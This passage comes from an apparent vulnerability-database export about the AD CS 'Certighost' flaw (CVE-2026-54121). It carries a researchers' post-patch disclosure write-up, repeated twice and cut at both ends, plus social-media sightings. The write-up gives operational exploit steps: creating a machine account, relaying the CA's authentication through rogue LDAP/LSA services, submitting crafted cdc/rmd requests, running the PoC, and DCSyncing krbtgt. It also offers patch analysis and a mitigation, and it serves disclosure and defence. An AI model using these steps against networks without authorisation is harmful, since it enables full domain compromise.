polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-25T14:14:48.001730Z"}, {"uuid": "f74c4c0e-eaf4-4b87-a53f-465c485e3fc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/rReBw0Q4jMbZrY7xLybdVTPGa0Ybeq3C-HMv0PXt8kiNSpo", "content": "", "creation_timestamp": "2026-07-25T23:00:03.296217Z"}, {"uuid": "5f63f1ed-4511-4edb-853d-686220d8bf90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54900", "type": "seen", "source": "Telegram/Ux0Srfv4G3zHF3MG_EHSnP5GOba0EJzABgxiD6ZSq_lILU0", "content": "", "creation_timestamp": "2026-07-25T15:00:20.751088Z"}, {"uuid": "7a9eb6f4-ad1c-45c4-8a0c-a6585cd1616c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mri7vdc2g32e", "content": "Certighost (CVE-2026-54121): a standard AD user makes your CA sign a domain controller's identity, then DCSyncs krbtgt. Patched July 14, public PoC July 24. Patch every CA, cut machine account quota, watch the CA. #ActiveDirectory", "creation_timestamp": "2026-07-25T15:51:33.992410Z"}, {"uuid": "b7a26165-469d-40cf-bdf8-c6a2fbcbd926", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54900", "type": "seen", "source": "Telegram/GQS1eZh6jW1eTFauE08lQEEwY9p26l5wOkUiZYKHwilYdP4", "content": "", "creation_timestamp": "2026-07-25T18:00:04.183932Z"}, {"uuid": "239b877c-828a-4453-847f-a41bbc2f9d5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/GQS1eZh6jW1eTFauE08lQEEwY9p26l5wOkUiZYKHwilYdP4", "content": "", "creation_timestamp": "2026-07-25T18:00:04.279823Z"}, {"uuid": "c761ae59-86cf-4d4b-a1be-fd86cb4ef940", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/GithubRedTeam/95147", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121-PoC-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tc4dy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-25 18:05:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-25T19:00:04.721424Z"}, {"uuid": "7362a350-c86b-4ce2-8acb-f40f12494cfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/rReBw0Q4jMbZrY7xLybdVTPGa0Ybeq3C-HMv0PXt8kiNSpo", "content": "", "creation_timestamp": "2026-07-26T00:00:14.283527Z"}, {"uuid": "17f1ae41-9955-4cfd-baa2-16e2f2da166e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95147", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54121-PoC-Exploit\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tc4dy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-25 18:05:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-26T00:00:34.836894Z"}, {"uuid": "38c9fd45-d2f4-48d9-afb8-efef8e34adfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/al3x-n3ff.bsky.social/post/3mrkx2lij522d", "content": "Detect the Certighost with NetExec\ud83d\udd25\n\nThanks to Xed_sama, the enum_cve module of NetExec will now detect if a host has not been patched and is potentially vulnerable to the Certighost vulnerability (CVE-2026-54121)\ud83d\ude80", "creation_timestamp": "2026-07-26T17:51:25.517722Z"}, {"uuid": "6001f986-b158-4e45-a5e9-fa91e5e01b6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "Telegram/GQS1eZh6jW1eTFauE08lQEEwY9p26l5wOkUiZYKHwilYdP4", "content": "", "creation_timestamp": "2026-07-26T00:00:36.040194Z"}, {"uuid": "d2e50f1c-2783-47c0-ae40-3329da2a5693", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54900", "type": "published-proof-of-concept", "source": "Telegram/GQS1eZh6jW1eTFauE08lQEEwY9p26l5wOkUiZYKHwilYdP4", "content": "", "creation_timestamp": "2026-07-26T00:00:35.937628Z"}, {"uuid": "1d85e7b2-74bf-4dae-8979-30ac57da5645", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54900", "type": "seen", "source": "Telegram/Ux0Srfv4G3zHF3MG_EHSnP5GOba0EJzABgxiD6ZSq_lILU0", "content": "", "creation_timestamp": "2026-07-26T00:00:44.966566Z"}, {"uuid": "c80ed9d9-8ede-484f-857f-4a72d1beb862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3mrkbp3kbss2a", "content": "#Windows: if you haven't patched your MS Windows estate with July Patch Tuesday updates, now it's time to do it! #CertiGhost CVE-2026-54121 vulnerability allows an unprivileged user on your network to fully compromise the Active Directory - the public #POC is out:\n\ud83d\udc47\nthehackernews.com/2026/07/cert...", "creation_timestamp": "2026-07-26T11:29:13.001336Z"}, {"uuid": "77146ab0-3bdc-4906-a089-cb7d8a6f562c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mrkzr752t32y", "content": "Hunt for Certighost (CVE-2026-54121) exploitation", "creation_timestamp": "2026-07-26T18:39:51.476950Z"}, {"uuid": "06342bb8-a69f-4880-b365-40028e110553", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54121", "type": "seen", "source": "https://bsky.app/profile/etairos-ai.bsky.social/post/3mrl6jezr4x2n", "content": "CVE-2026-54121: any domain user can impersonate a DC and steal krbtgt. Full domain compromise from a low-priv account. ICS/OT operators: patch AD CS now. #ThreatIntel #ICS #CyberSecurity https://threat-intelligence.redeyesecurity.com/blog/certighost-adcs-cve-2026-54121-dc-impersonation-2026", "creation_timestamp": "2026-07-26T20:04:58.320524Z"}, {"uuid": "a2760b19-da1a-45d5-ab18-b149a17c7cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://bsky.app/profile/arc-perimetered.bsky.social/post/3mrkify6nsu23", "content": "Certighost (CVE-2026-54121): everyone's focused on 'low-priv user.' Right question is Reachability. Is certsrv reachable from your cloud workload subnet? Contractor VLAN? Guest Wi-Fi? If yes, 'domain user required' is not a barrier. Segment the CA before patching gives you comfort.", "creation_timestamp": "2026-07-26T13:29:21.468316Z"}, {"uuid": "341d176c-7b8b-4076-b174-f7343158b89f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "Telegram/WtDy60Zfc2LfC2Hj4ugHn-G7HJuEO7_YRvKedrgqxmiutu2Q", "content": "", "creation_timestamp": "2026-07-26T23:00:03.450872Z"}, {"uuid": "15d0c1e0-7237-4180-9b4e-a85ed9087be8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54121", "type": "seen", "source": "https://bsky.app/profile/thecybersecguru.com/post/3mrjoluqh3v2t", "content": "Certighost Exploit Allows Low-Privileged Active Directory Users to Impersonate a Domain\u00a0Controller\n\nA newly disclosed AD CS vulnerability, Certighost (CVE-2026-54121), allows low-privileged domain\u2026\n\nhttps://thecybersecguru.com/news/certighost-cve-2026-54121-ad-cs-domain-controller-impersonation/", "creation_timestamp": "2026-07-26T05:47:22.560758Z"}, {"uuid": "964b16f1-023a-484f-9a73-263bd967926b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/SoloDefend/b82c1b65e1fa0e47d152433b6bfd72e7", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA validates the supplied `cdc` hostname against the real directory |\n| Principal lookup | The remote response was treated as authoritative | The target must resolve to a legitimate Domain Controller computer object |\n| Certificate identity data | Returned SID and hostname could be attacker-controlled | Resolution proceeds only after target validation and a follow-on SID comparison |\n| Certificate request result | A forged chase response could lead to issuance | A failed validation or SID comparison takes an error path |\n\nThe fix addresses the trust boundary that made Certighost possible: a chase endpoint is no longer accepted merely because it responds as a domain principal. The July binary contains a gate around the new validation, so the protection applies when that gate and its validation path are active.\n\nThe diagram below summarizes the July update path. It shows which checks must pass before the CA continues the chase, and which checks stop the request before that point.\n\n\n\n\nJuly update flow: the CA validates the chase target against AD before allowing the referral chase to continue.\n\nRead the diagram from top to bottom: the request enters the validation path, each check answers one yes/no question, and the request must pass every check before the chase continues. A failed check stops the request before that point. The specific conditions behind each check - length and character checks, the Domain Controller computer-object requirement, and the resolved-SID comparison - are described in the paragraph below.\n\nThe validation function rejects overlong and IP-literal targets, blocks the filtered-character set before constructing the LDAP query, and requires a unique computer object whose `userAccountControl` includes `SERVER_TRUST_ACCOUNT` (`8192`). If the first directory search has no match, the code retries with an extracted base DN. The loader only reaches the referral continuation after a successful validation return; it also contains a later resolved-SID comparison. These control-flow observations were checked against the hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / 